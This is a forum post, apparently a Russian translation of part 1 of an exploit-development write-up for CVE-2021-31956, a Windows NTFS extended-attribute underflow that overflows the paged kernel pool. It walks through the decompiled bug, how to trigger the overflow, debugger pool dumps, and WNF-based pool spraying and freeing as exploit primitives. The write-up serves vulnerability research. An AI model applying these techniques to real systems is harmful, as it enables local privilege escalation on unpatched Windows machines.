• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CVE-2021-31956 Эксплуатация ядра Windows (NTFS с WNF) — часть 1

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Введение

Недавно я решил взглянуть на CVE-2021-31956, локальную эскалацию привилегий в Windows из-за ошибки повреждения памяти ядра, которая была исправлена во вторник июньского обновления 2021 года.

Microsoft описывает уязвимость в своем консультативном документе, в котором отмечается, что многие версии Windows подвержены уязвимости, а эксплуатация проблемы в реальных условиях используется в целевых атаках. Эксплойт был обнаружен https://twitter.com/oct0xor из "Лаборатории Касперского".

"Лаборатория Касперского" подготовила подробное описание уязвимости и кратко описала, как эта ошибка использовалась в реальных условиях.

Поскольку у меня не было доступа к эксплойту (в отличие от Касперского?), я попытался использовать эту уязвимость в Windows 10 20H2, чтобы определить простоту эксплуатации и понять проблемы, с которыми сталкиваются злоумышленники при написании современных эксплойтов ядра для Windows 10 20H2.

Одна вещь, которая мне запомнилась, — это упоминание Windows Notification Framework (WNF), используемой злоумышленниками в дикой природе для включения новых примитивов эксплойта. Это привело к дальнейшему исследованию того, как это можно использовать для эксплуатации в целом. Выводы, которые я привожу ниже, явно являются предположениями, основанными на вероятном использовании WNF злоумышленником. Я с нетерпением жду отчета от Kaspersky, чтобы определить, верны ли мои предположения о том, как можно использовать эту функцию!

Этот пост в блоге является первым в серии и описывает уязвимость, начальные ограничения с точки зрения разработки эксплойтов и, наконец, как можно злоупотреблять WNF для получения ряда примитивов эксплойтов. В блогах также будут освещаться проблемы устранения эксплойтов, возникающие на этом пути, которые усложняют написание современных эксплойтов пула в самых последних версиях Windows.

В будущих сообщениях в блоге будут описаны улучшения, которые можно внести в эксплойт для повышения надежности, стабильности и последующей очистки.

Сводка о уязвимости

Поскольку Касперский уже подготовил хороший отчет, найти уязвимый код внутри функции NtfsQueryEaUserEaList драйвера ntfs.sys было тривиально:

C++:
__int64 __fastcall NtfsQueryEaUserEaList(__int64 a1, __int64 eas_blocks_for_file, __int64 a3, __int64 out_buf, unsigned int out_buf_length, unsigned int *a6, char a7)
{

  unsigned int padding; // er15
  padding = 0;


   for ( i = a6; ; i = (unsigned int *)((char *)i + *i) )
    {
      if ( i == v11 )
      {
        v15 = occupied_length;
        out_buf_pos = (_DWORD *)(out_buf + padding + occupied_length);
        if ( (unsigned __int8)NtfsLocateEaByName(
                                ea_blocks_for_file,
                                *(unsigned int *)(a3 + 4),
                                &DestinationString,
                                &ea_block_pos) )
        {
          ea_block = (FILE_FULL_EA_INFORMATION *)(ea_blocks_for_file + ea_block_pos);
          ea_block_size = ea_block->EaNameLength + ea_block->EaValueLength + 9;           // Attacker controlled from Ea
          if ( ea_block_size <= out_buf_length - padding )                                // The check which can underflow
          {
            memmove(out_buf_pos, ea_block, ea_block_size);
            *out_buf_pos = 0;
            goto LABEL_8;
          }
        }

           *((_BYTE *)out_buf_pos + *((unsigned __int8 *)v11 + 4) + 8) = 0;
LABEL_8:
            v18 = ea_block_size + padding + v15;
            occupied_length = v18;
            if ( !a7 )
            {
              if ( v23 )
                *v23 = (_DWORD)out_buf_pos - (_DWORD)v23;
              if ( *v11 )
              {
                v23 = out_buf_pos;
                out_buf_length -= ea_block_size + padding;
                padding = ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;
                goto LABEL_24;
              }
            }
LABEL_12:

Нужная структура в этом случае — _FILE_FULL_EA_INFORMATION.

В основном приведенный выше код перебирает каждый расширенный атрибут NTFS (Ea) для файла и копирует из блока Ea в выходной буфер в зависимости от размера ea_block->EaValueLength + ea_block->EaNameLength + 9.

Существует проверка, чтобы убедиться, что ea_block_size меньше или равен out_buf_length — заполнение.

Затем out_buf_length уменьшается на размер ea_block_size и идет заполнение.

Заполнение рассчитывается как ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;

Это связано с тем, что каждый блок Ea должен быть дополнен до 32-битного выравнивания.

Поместив сюда несколько примеров, давайте предположим следующее: внутри расширенных атрибутов файла есть два расширенных атрибута.

На первой итерации цикла мы могли иметь следующие значения:

EaNameLength = 5
EaValueLength = 4

ea_block_size = 9 + 5 + 4 = 18
padding = 0


Итак, если предположить, что 18 < out_buf_length - 0, данные будут скопированы в буфер. Мы будем использовать 30 для этого примера.

out_buf_length = 30 - 18 + 0
out_buf_length = 12 // we would have 12 bytes left of the output buffer.

padding = ((18+3) & 0xFFFFFFFC) - 18
padding = 2


Затем у нас может быть второй расширенный атрибут в файле с теми же значениями:

EaNameLength = 5
EaValueLength = 4

ea_block_size = 9 + 5 + 4 = 18


В этот момент заполнение равно 2, поэтому расчет будет таким:

18 <= 12 - 2 // is False.

Таким образом, вторая копия памяти не будет правильно выполнена из-за слишком малого размера буфера.

Однако рассмотрим сценарий, когда у нас есть следующая настройка, если бы мы могли иметь значение out_buf_length, равное 18.

Первый расширенный атрибут:

EaNameLength = 5
EaValueLength = 4


Второй расширенный атрибут:

EaNameLength = 5
EaValueLength = 47


Первая итерация цикла:

EaNameLength = 5
EaValueLength = 4

ea_block_size = 9 + 5 + 4 // 18
padding = 0


В результате проверка такая:

18 <= 18 - 0 // is True and a copy of 18 occurs.

out_buf_length = 18 - 18 + 0
out_buf_length = 0 // We would have 0 bytes left of the output buffer.

padding = ((18+3) & 0xFFFFFFFC) - 18
padding = 2


Наш второй расширенный атрибут со следующими значениями:

EaNameLength = 5
EaValueLength = 47

ea_block_size = 5 + 47 + 9
ea_block_size = 137


В полученной проверке будет так:

ea_block_size <= out_buf_length - padding

137 <= 0 - 2


И в этот момент мы переполнили проверку, и 137 байт будут скопированы с конца буфера, повредив соседнюю память.

Глядя на вызывающую функцию NtfsCommonQueryEa, мы видим, что выходной буфер выделяется в выгружаемом пуле в зависимости от запрошенного размера:

C:
 if ( (_DWORD)out_buf_length )
      {
        out_buf = (PVOID)NtfsMapUserBuffer(a2, 16i64);
        v28 = out_buf;
        v16 = (unsigned int)out_buf_length;
        if ( *(_BYTE *)(a2 + 64) )
        {
          v35 = out_buf;
          out_buf = ExAllocatePoolWithTag((POOL_TYPE)(PoolType | 0x10), (unsigned int)out_buf_length, 0x4546744Eu);
          v28 = out_buf;
          v24 = 1;
          v16 = out_buf_length;
        }
        memset(out_buf, 0, v16);
        v15 = v43;
        LOBYTE(v12) = v25;
      }

Глядя на вызывающие программы для NtfsCommonQueryEa, мы видим, что путь системного вызова NtQueryEaFile запускает этот путь кода для достижения уязвимого кода.

Документация для версии Zw этой функции системного вызова находится здесь (https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-zwqueryeafile).

Мы видим, что выходной буфер Buffer передается из пользовательского пространства вместе с длиной этого буфера. Это означает, что мы получаем контролируемое распределение размера в пространстве ядра на основе размера буфера. Однако, чтобы активировать эту уязвимость, нам нужно вызвать андерфлов, как описано выше.

Чтобы вызвать потерю андерфлов, нам нужно установить размер выходного буфера равным длине первого блока Ea.

При условии, что мы заполняем выделение, второй блок Ea будет записан за пределы буфера при запросе второго блока Ea.

Интересные вещи этой уязвимости с точки зрения злоумышленника:

1) Злоумышленник может контролировать данные, которые используются при переполнении, и размер переполнения. Значения расширенных атрибутов не ограничивают значения, которые они могут содержать.
2) Переполнение носит линейный характер и приведет к повреждению любых соседних фрагментов пула.
3) Злоумышленник контролирует размер выделенного фрагмента пула.

Однако вопрос в том, можно ли это надежно использовать при наличии современных средств защиты пула ядра, и является ли это "хорошим" повреждением памяти:


Запуск повреждения

Итак, как нам создать файл, содержащий расширенные атрибуты NTFS, которые приведут к срабатыванию уязвимости при вызове NtQueryEaFile?

Zw-версия функции NtSetEaFile задокументирована здесь (https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-zwseteafile).

Параметр Buffer здесь — это "указатель на предоставляемый вызывающей стороной входной буфер со структурой FILE_FULL_EA_INFORMATION, который содержит устанавливаемые значения расширенных атрибутов".

Следовательно, при использовании приведенных выше значений первый расширенный атрибут занимает место в буфере между 0-18.

Затем длина заполнения равна 2, а второй расширенный атрибут начинается со смещения 20.

typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;


Ключевым моментом здесь является то, что NextEntryOffset первого блока EA устанавливается равным смещению переполненного EA, включая позицию заполнения (20). Затем для переполненного блока EA NextEntryOffset устанавливается равным 0, чтобы завершить цепочку устанавливаемых расширенных атрибутов.

Это означает создание двух расширенных атрибутов, где первый расширенный блок атрибутов — это размер, в котором мы хотим выделить наш уязвимый буфер (за вычетом заголовка пула). Второй расширенный блок атрибутов настроен на данные переполнения.

Если мы установим наш первый расширенный блок атрибутов таким, чтобы он точно соответствовал размеру параметра Length, переданного в NtQueryEaFile, то при наличии заполнения проверка будет пропущена, а второй расширенный блок атрибутов позволит скопировать размер, контролируемый злоумышленником.

Таким образом, как только расширенные атрибуты были записаны в файл с помощью NtSetEaFile. Затем необходимо активировать путь уязвимого кода, чтобы воздействовать на них, установив размер внешнего буфера точно таким же, как у нашего первого расширенного атрибута с помощью NtQueryEaFile.

Понимание схемы пула ядра в Windows 10

Следующее, что нам нужно понять, это то, как работает память пула ядра. Существует множество старых материалов по эксплуатации пула ядра в старых версиях Windows, однако их не так много в последних версиях Windows 10 (19H1 и выше). Значительные изменения произошли с переносом концепций Segment Heap пространства пользователя в пул ядра Windows. Я настоятельно рекомендую прочитать "Scoop the Windows 10 Pool!" от Corentin Bayet и Paul Fariello из Synacktiv за блестящую статью по этому вопросу и предложение некоторых первоначальных методов. Если бы эта статья не была уже опубликована, изучение этого вопроса было бы значительно сложнее.

Во-первых, важно понять, где в памяти выделен уязвимый фрагмент пула и как выглядит окружающая память. Определяем, в какой структуре кучи живет чанк, по четырем "бэкендам":

- Куча с низкой фрагментацией (LFH)
- Куча переменного размера (VS)
- Распределение сегментов
- Биг Аллок


Я начал с использования значения длины параметра NtQueryEaFile выше 0x12, чтобы в итоге получить уязвимый фрагмент размером 0x30, выделенный на LFH следующим образом:

Makefile:
Pool page ffff9a069986f3b0 region is Paged pool
 ffff9a069986f010 size:   30 previous size:    0  (Allocated)  Ntf0
 ffff9a069986f040 size:   30 previous size:    0  (Free)       ....
 ffff9a069986f070 size:   30 previous size:    0  (Free)       ....
 ffff9a069986f0a0 size:   30 previous size:    0  (Free)       CMNb
 ffff9a069986f0d0 size:   30 previous size:    0  (Free)       CMNb
 ffff9a069986f100 size:   30 previous size:    0  (Allocated)  Luaf
 ffff9a069986f130 size:   30 previous size:    0  (Free)       SeSd
 ffff9a069986f160 size:   30 previous size:    0  (Free)       SeSd
 ffff9a069986f190 size:   30 previous size:    0  (Allocated)  Ntf0
 ffff9a069986f1c0 size:   30 previous size:    0  (Free)       SeSd
 ffff9a069986f1f0 size:   30 previous size:    0  (Free)       CMNb
 ffff9a069986f220 size:   30 previous size:    0  (Free)       CMNb
 ffff9a069986f250 size:   30 previous size:    0  (Allocated)  Ntf0
 ffff9a069986f280 size:   30 previous size:    0  (Free)       SeGa
 ffff9a069986f2b0 size:   30 previous size:    0  (Free)       Ntf0
 ffff9a069986f2e0 size:   30 previous size:    0  (Free)       CMNb
 ffff9a069986f310 size:   30 previous size:    0  (Allocated)  Ntf0
 ffff9a069986f340 size:   30 previous size:    0  (Free)       SeSd
 ffff9a069986f370 size:   30 previous size:    0  (Free)       APpt
*ffff9a069986f3a0 size:   30 previous size:    0  (Allocated) *NtFE
    Pooltag NtFE : Ea.c, Binary : ntfs.sys
 ffff9a069986f3d0 size:   30 previous size:    0  (Allocated)  Ntf0
 ffff9a069986f400 size:   30 previous size:    0  (Free)       SeSd
 ffff9a069986f430 size:   30 previous size:    0  (Free)       CMNb
 ffff9a069986f460 size:   30 previous size:    0  (Free)       SeUs
 ffff9a069986f490 size:   30 previous size:    0  (Free)       SeGa

Это связано с тем, что размер фитинга распределения меньше 0x200.

Мы можем пройти через повреждение соседнего фрагмента, установив условную точку останова в следующем месте:

bp Ntfs!NtfsQueryEaUserEaList "j @r12 != 0x180 & @r12 != 0x10c & @r12 != 0x40 '';'gc'", затем точка останова на местоположении функции memcpy.

В этом примере игнорируются некоторые распространенные размеры, которые часто встречаются в 20H2, поскольку этот путь кода часто используется системой при нормальной работе.

Следует отметить, что изначально я упустил из виду тот факт, что злоумышленник изначально имеет хороший контроль над размером фрагмента пула, и поэтому пошел по пути ограничения себя ожидаемым размером фрагмента 0x30. Это ограничение на самом деле было неверным, однако оно демонстрирует, что даже с более строгими ограничениями злоумышленника их часто можно обойти, и что вы всегда должны пытаться полностью понять ограничения своей ошибки, прежде чем переходить к эксплуатации.

Анализируя уязвимое распределение NtFE, мы видим, что у нас есть следующая структура памяти:

Makefile:
!pool @r9
*ffff8001668c4d80 size:   30 previous size:    0  (Allocated) *NtFE
    Pooltag NtFE : Ea.c, Binary : ntfs.sys
 ffff8001668c4db0 size:   30 previous size:    0  (Free)       C...

1: kd> dt !_POOL_HEADER ffff8001668c4d80
nt!_POOL_HEADER
   +0x000 PreviousSize     : 0y00000000 (0)
   +0x000 PoolIndex        : 0y00000000 (0)
   +0x002 BlockSize        : 0y00000011 (0x3)
   +0x002 PoolType         : 0y00000011 (0x3)
   +0x000 Ulong1           : 0x3030000
   +0x004 PoolTag          : 0x4546744e
   +0x008 ProcessBilled    : 0x0057005c`007d0062 _EPROCESS
   +0x008 AllocatorBackTraceIndex : 0x62
   +0x00a PoolTagHash      : 0x7d

Далее следуют 0x12 байт самих данных.

Это означает, что вычисление размера фрагмента будет 0x12 + 0x10 = 0x22 с округлением до размера фрагмента сегмента 0x30.

Однако мы также можем настроить как размер выделения, так и объем данных, которые мы будем переполнять.

В качестве альтернативного примера, использование следующих значений приводит к переполнению фрагмента 0x70 в соседний фрагмент пула (вывод отладки берется из кода тестирования):

NtCreateFile is located at 0x773c2f20 in ntdll.dll
RtlDosPathNameToNtPathNameN is located at 0x773a1bc0 in ntdll.dll
NtSetEaFile is located at 0x773c42e0 in ntdll.dll
NtQueryEaFile is located at 0x773c3e20 in ntdll.dll
WriteEaOverflow EaBuffer1->NextEntryOffset is 96
WriteEaOverflow EaLength1 is 94
WriteEaOverflow EaLength2 is 59
WriteEaOverflow Padding is 2
WriteEaOverflow ea_total is 155
NtSetEaFileN sucess
output_buf_size is 94
GetEa2 pad is 1
GetEa2 Ea1->NextEntryOffset is 12
GetEa2 EaListLength is 31
GetEa2 out_buf_length is 94


Это заканчивается выделением в фрагменте 0x70 байтов:

ffffa48bc76c2600 size: 70 previous size: 0 (Allocated) NtFE

Как видите, можно влиять на размер уязвимого фрагмента.

На этом этапе нам нужно определить, возможно ли выделить смежные фрагменты класса полезного размера, в котором может быть переполнение, чтобы получить примитивы эксплойта, а также как манипулировать выгружаемым пулом, чтобы управлять расположением этих распределений (feng shui).

Гораздо меньше написано о манипуляциях с выгружаемым пулом Windows, чем с невыгружаемым пулом, и, насколько нам известно, до сих пор вообще ничего не было публично написано об использовании структур WNF для примитивов эксплуатации.

Введение в WNF

Windows Notification Facitily — это система уведомлений в Windows, которая реализует модель издатель/подписчик для доставки уведомлений.

Алекс Ионеску и Габриэль Виала провели большое предыдущее исследование, в котором задокументировано, как эта функция работает и устроена.

Я не хочу дублировать здесь предысторию, поэтому рекомендую сначала прочитать следующие документы, чтобы освоиться:

- Средство уведомлений Windows (https://docplayer.net/145030841-The-windows-notification-facility.html)
- Игра с Windows Notification Facility (https://blog.quarkslab.com/playing-with-the-windows-notification-facility-wnf.html)


Хорошее знание приведенных выше исследований позволит лучше понять, как структуры, связанные с WNF, используются в Windows.

Выделение контролируемого выгружаемого пула

Одной из первых важных вещей для эксплуатации пула ядра является возможность контролировать состояние пула ядра, чтобы иметь возможность получить структуру памяти, желаемую злоумышленником.

Было проведено много предыдущих исследований невыгружаемого пула и пула сеансов, однако меньше с точки зрения выгружаемого пула. Поскольку это переполнение происходит в выгружаемом пуле, нам нужно найти примитивы эксплойта, размещенные в этом пуле.

Теперь, после некоторого реверса WNF, было установлено, что большинство распределений, используемых в рамках этой функции, используют память из выгружаемого пула.

Я начал с изучения основных структур, связанных с этой функцией, и того, чем можно управлять из пользовательского пространства.

Первое, что мне бросилось в глаза, это то, что фактические данные, используемые для уведомлений, хранятся после следующей структуры:

nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : Uint4B
+0x008 DataSize : Uint4B
+0x00c ChangeStamp : Uint4B


На что указывает указатель StateData структуры WNF_NAME_INSTANCE:

nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : Ptr64 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : Uint4B
+0x068 PermanentDataStore : Ptr64 Void
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY
+0x088 TemporaryNameListEntry : _LIST_ENTRY
+0x098 CreatorProcess : Ptr64 _EPROCESS
+0x0a0 DataSubscribersCount : Int4B
+0x0a4 CurrentDeliveryCount : Int4B


Глядя на функцию NtUpdateWnfStateData, мы видим, что ее можно использовать для распределения контролируемого размера в выгружаемом пуле и для хранения произвольных данных.

Следующее выделение происходит в ExpWnfWriteStateData, который вызывается из NtUpdateWnfStateData:

v19 = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, (unsigned int)(v6 + 16), 0x20666E57u);

Глядя на прототип функции:

extern "C"
NTSTATUS
NTAPI
NtUpdateWnfStateData(
_In_ PWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID * Buffer,
_In_opt_ ULONG Length,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_ const PVOID ExplicitScope,
_In_ WNF_CHANGE_STAMP MatchingChangeStamp,
_In_ ULONG CheckStamp
);


Мы видим, что длина аргумента — это наше значение v6, равное 16 (перед ним стоит заголовок размером 0x10 байт).

Таким образом, у нас есть (0x10-байтов _POOL_HEADER):

Makefile:
1: kd> dt _POOL_HEADER
nt!_POOL_HEADER
   +0x000 PreviousSize     : Pos 0, 8 Bits
   +0x000 PoolIndex        : Pos 8, 8 Bits
   +0x002 BlockSize        : Pos 0, 8 Bits
   +0x002 PoolType         : Pos 8, 8 Bits
   +0x000 Ulong1           : Uint4B
   +0x004 PoolTag          : Uint4B
   +0x008 ProcessBilled    : Ptr64 _EPROCESS
   +0x008 AllocatorBackTraceIndex : Uint2B
   +0x00a PoolTagHash      : Uint2B

за которым следует _WNF_STATE_DATA размером 0x10:

Makefile:
nt!_WNF_STATE_DATA
   +0x000 Header           : _WNF_NODE_HEADER
   +0x004 AllocatedSize    : Uint4B
   +0x008 DataSize         : Uint4B
   +0x00c ChangeStamp      : Uint4B

С данными произвольного размера, следующими за структурой.

Чтобы отслеживать распределения, которые мы делаем с помощью этой функции, мы можем использовать:

nt!ExpWnfWriteStateData "j @r8 = 0x100 '';'gc'"

Затем мы можем создать метод распределения, который создает новое имя состояния и выполняет наше распределение:

NtCreateWnfStateName(&state, WnfTemporaryStateName, WnfDataScopeMachine, FALSE, 0, 0x1000, psd);
NtUpdateWnfStateData(&state, buf, alloc_size, 0, 0, 0, 0);


Используя это, мы можем распылять контролируемые размеры в выгружаемом пуле и заполнять его контролируемыми объектами:

Makefile:
1: kd> !pool ffffbe0f623d7190
Pool page ffffbe0f623d7190 region is Paged pool
 ffffbe0f623d7020 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7050 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7080 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d70b0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d70e0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7110 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7140 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
*ffffbe0f623d7170 size:   30 previous size:    0  (Allocated) *Wnf  Process: ffff87056ccc0080
        Pooltag Wnf  : Windows Notification Facility, Binary : nt!wnf
 ffffbe0f623d71a0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d71d0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7200 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7230 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7260 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7290 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d72c0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d72f0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7320 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7350 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7380 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d73b0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d73e0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7410 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7440 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7470 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d74a0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d74d0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7500 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7530 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7560 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7590 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d75c0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d75f0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7620 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7650 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7680 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d76b0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d76e0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7710 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7740 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7770 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d77a0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d77d0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7800 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7830 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7860 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7890 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d78c0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d78f0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7920 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7950 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7980 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d79b0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d79e0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7a10 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7a40 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7a70 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7aa0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7ad0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7b00 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7b30 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7b60 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7b90 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7bc0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7bf0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7c20 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7c50 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7c80 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7cb0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7ce0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7d10 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7d40 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7d70 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7da0 size:   30 previous size:    0  (Allocated)  Ntf0
 ffffbe0f623d7dd0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7e00 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7e30 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7e60 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7e90 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7ec0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7ef0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7f20 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7f50 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7f80 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080
 ffffbe0f623d7fb0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff87056ccc0080

1642494318519.png


Это полезно для заполнения пула данными контролируемого размера и данными, и мы продолжаем наше исследование функции WNF.

Контролирование освобождения

Следующее, что было бы полезно с точки зрения эксплойта, — это возможность освобождать фрагменты WNF по запросу в выгружаемом пуле.

Есть также вызов API, который делает это, называется NtDeleteWnfStateData, который вызывает ExpWnfDeleteStateData, в свою очередь, в конечном итоге освобождая наше распределение.

Изучая эту область, я смог сразу же повторно использовать свободный фрагмент с новым распределением. Необходимы дополнительные исследования, чтобы определить, использует ли LFH списки отложенных свободных мест, как в моем случае из эмпирического тестирования, тогда я, похоже, не сталкивался с этим после большого количества фрагментов Wnf.

1642494334382.png


Относительное чтение памяти

Теперь у нас есть возможность выполнять как контролируемое распределение, так и освобождение, но как насчет самих данных и можем ли мы сделать с ними что-нибудь полезное?

Итак, оглядываясь назад на структуру, вы, возможно, заметили, что в ней содержатся AllocatedSize и DataSize:

Makefile:
nt!_WNF_STATE_DATA
   +0x000 Header           : _WNF_NODE_HEADER
   +0x004 AllocatedSize    : Uint4B
   +0x008 DataSize         : Uint4B
   +0x00c ChangeStamp      : Uint4B

